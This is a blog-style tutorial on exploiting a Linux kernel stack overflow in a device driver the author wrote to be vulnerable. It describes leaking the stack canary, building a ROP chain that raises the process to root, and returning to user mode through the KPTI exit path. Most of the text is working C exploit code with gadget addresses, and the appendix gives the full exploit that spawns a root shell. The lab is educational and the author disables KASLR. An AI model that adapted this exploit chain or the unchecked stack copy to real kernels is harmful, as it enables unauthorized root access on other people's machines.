In this blog post I’ll discuss how to exploit the Linux kernel via a stack smashing attack. I’ll be attacking the latest kernel version. I’ll also introduce a vulnerable device driver that I wrote so that I can focus on the exploitation development and not the vulnerability research.





A number of mitigations were introduced in recent years, such as Kernel Page Table Isolation and control register pinning, which makes some previous techniques obsolete. Techniques like ret2usr no longer work. But regardless, I am able to privesc and gain a rootshell.

An overview of the attack

The attack can be split up into a number of stages:

· Defeat KASLR

· Leak the stack canary

· Stack smash and overwrite the canary and return address to trigger a ROP chain · ROP to change the current creds to UID 0 · ROP into the code that returns from a system call and continues execution in user space · Continue execution in user space and exec a shell now running at UID 0

It’s hard to disable SMEP/SMAP on the latest kernels so we’ll avoid that in our exploit. That is, we don’t have to disable SMEP/SMAP for the above exploit to work.

The vulnerable device driver

I’m going to provide primitives for leaking the stack canary in my vulnerable device driver. The way I do this is by providing an IOCTL to the device I create.





const char *device_name = "/dev/vuln_device";

unsigned long canary;

int fd;





fd = open(device_name, O_RDWR);

if (ioctl(fd, ARB_GET_CANARY, &arg) != 0) {

fprintf(stderr, "error: ioctl

");

exit(1);

}

canary = arg.value;

I’m also going to disable KASLR with the nokaslr kernel boot time options. Of course, my vulnerable device driver has a kernel stack overflow that I can trigger. The way I do this is by opening up the device file in /dev and simply writing to it. There isn’t any bounds checking and the buffer that is written is copied onto the stack. Here is the kernel code that does that:





static ssize_t arb_rw_write(struct file *filp,

const char __user *buf, size_t len, loff_t *off)

{

char stack_buf[16];

char *p;

p = kmalloc(len, GFP_KERNEL);

copy_from_user(p, buf, len);

unsafe_memcpy(stack_buf, p, len);

return len;

}

Exploitation

The exploit simply overwrites the stack canary with the correct value then overwrites the return address with the beginning of a ROP chain. The first part of the exploit looks like this:

int main(int argc, char *argv[])

{

struct arb_rw_arg_s arg = { 0, 0 };

const char *device_name = "/dev/vuln_device"; unsigned long canary; int fd; unsigned long ropchain[20];

fd = open(device_name, O_RDWR); if (ioctl(fd, ARB_GET_CANARY, &arg) != 0) { fprintf(stderr, "error: ioctl

"); exit(1); } canary = arg.value; save_status(); // shown later

printf("Canary: 0x%lx

", canary);

ropchain[0] = 0x4142434445464748; ropchain[1] = 0x4142434445464748; ropchain[2] = canary; ropchain[3] = 0x41; ropchain[4] = 0x41; ropchain[5] = 0x41; ropchain[6] = 0x41; ropchain[7] = pop_rdi; // return address

The address at ropchain[7] is the return address. This begins our ROP chain. What we are going to use to privesc is the following code once the ROP chain is complete

commit_creds(prepare_kernel_cred(0));

To find the address of these functions, I was using gdb on the kernel image (vmlinux). To build the ROP gadgets I ran ropper on the image. It took about 20G of memory and about 10-15 minutes to build gadgets. I ran the kernel inside QEMU with kernel debugging. It was essential to have a good debugging environment to single step through the ROP chain and debug what was going on.

To ROP the privesc code, we need the following. Note the gadget we use to move the return value of prepare_kernel_cred into the argument for commit_creds. On some kernel versions, this gadget isn’t directly available, so I’ve had to use other variants in the past.

unsigned long commit_creds = 0xffffffff810be110;

unsigned long prepare_kernel_cred = 0xffffffff810be580;

// xchg rax, rdi; ret

unsigned long move_rax_to_rdi = 0xffffffff81918e14;

// pop rdi; ret; unsigned long pop_rdi = 0xffffffff81083470;

ropchain[7] = pop_rdi; ropchain[8] = 0x0; ropchain[9] = prepare_kernel_cred; ropchain[10] = move_rax_to_rdi; ropchain[11] = commit_creds;

The remaining part of our ROP chain is to return execution in user mode. Let’s look at code in arch/x86/entry/entry_64.S



SYM_INNER_LABEL(swapgs_restore_regs_and_return_to_usermode, SYM_L_GLOBAL) #ifdef CONFIG_DEBUG_ENTRY /* Assert that pt_regs indicates user mode. */ testb $3, CS(%rsp) jnz 1f ud2 1: #endif POP_REGS pop_rdi=0

/* * The stack is now user RDI, orig_ax, RIP, CS, EFLAGS, RSP, SS. * Save old stack pointer and switch to trampoline stack. */ movq %rsp, %rdi movq PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp

/* Copy the IRET frame to the trampoline stack. */ pushq 6*8(%rdi) /* SS */ pushq 5*8(%rdi) /* RSP */ pushq 4*8(%rdi) /* EFLAGS */ pushq 3*8(%rdi) /* CS */ pushq 2*8(%rdi) /* RIP */

/* Push user RDI on the trampoline stack. */ pushq (%rdi)

/* * We are on the trampoline stack. All regs except RDI are live. * We can do future final exit work right here. */ STACKLEAK_ERASE_NOCLOBBER

SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi

/* Restore RDI. */ popq %rdi SWAPGS INTERRUPT_RETURN



We are going to ROP/return so the code we execute is mov %rsp, %rdi. This will do the appropriate code to handle kernel page table isolation and continue usermode code execution. In the following code we will set &shell to be the code which in usermode execs a shell.

Once we build the ROP chain we write our buffer to the device and the kernel stack is smashed and exploited.

ropchain[12] = iret_back_to_user_mode;

ropchain[13] = 0x0; // user_rdi

ropchain[14] = 0x0; // orig_eax

ropchain[15] = (unsigned long)&shell;

ropchain[16] = ucs; ropchain[17] = urflags; ropchain[18] = ursp; ropchain[19] = uss;

write(fd, &ropchain[0], 20*sizeof(unsigned long));

exit(1); // not reached

Conclusion

I presented techniques for stack smashing on the latest Linux kernel. The techniques don't require a bypass for SMEP/SMAP.

Appendix

The complete exploit is as follows:

#include <stdio.h>

#include <stdlib.h>

#include <fcntl.h>

#include <unistd.h>

#include <string.h>

#include <stdint.h>

#include <sys/ioctl.h>

#include "vuln_driver.h"



static void

shell(void)

{

execl("/bin/bash", "/bin/bash", NULL);

}



static uint64_t ucs, uss, ursp, urflags;



static void

save_status(void)

{

asm volatile ("mov %cs, ucs");

asm volatile ("mov %ss, uss");

asm volatile ("mov %rsp, ursp");

asm volatile ("pushf");

asm volatile ("pop urflags");

}



unsigned long commit_creds = 0xffffffff810be110;

unsigned long prepare_kernel_cred = 0xffffffff810be580;



// 0xffffffff81c00aa7

unsigned long swapgs_iretq = 0xffffffff81c00a8a;



// 0xffffffff81918e14: xchg rax, rdi; ret

unsigned long move_rax_to_rdi = 0xffffffff81918e14;



// 0xffffffff812faf07: xor esi, esi; ret;

unsigned long xor_esi_esi = 0xffffffff812faf07;



// 0xffffffff81083470: pop rdi; ret;

unsigned long pop_rdi = 0xffffffff81083470;



int

main(int argc, char *argv[])

{

struct arb_rw_arg_s arg = { 0, 0 };

const char *device_name = "/dev/vuln_device";

unsigned long canary;

int fd;

unsigned long ropchain[20];



fd = open(device_name, O_RDWR);

if (ioctl(fd, ARB_GET_CANARY, &arg) != 0) {

fprintf(stderr, "error: ioctl

");

exit(1);

}

canary = arg.value;

save_status();



printf("Canary: 0x%lx

", canary);



ropchain[0] = 0x4142434445464748;

ropchain[1] = 0x4142434445464748;

ropchain[2] = canary;

ropchain[3] = 0x41;

ropchain[4] = 0x41;

ropchain[5] = 0x41;

ropchain[6] = 0x41;

ropchain[7] = pop_rdi;

ropchain[8] = 0x0;

ropchain[9] = prepare_kernel_cred;

ropchain[10] = move_rax_to_rdi;

ropchain[11] = commit_creds;

ropchain[12] = swapgs_iretq;

ropchain[13] = 0x0; // user_rdi

ropchain[14] = 0x0; // orig_eax

ropchain[15] = (unsigned long)&shell;

ropchain[16] = ucs;

ropchain[17] = urflags;

ropchain[18] = ursp;

ropchain[19] = uss;



write(fd, &ropchain[0], 20*sizeof(unsigned long));



exit(1);

}



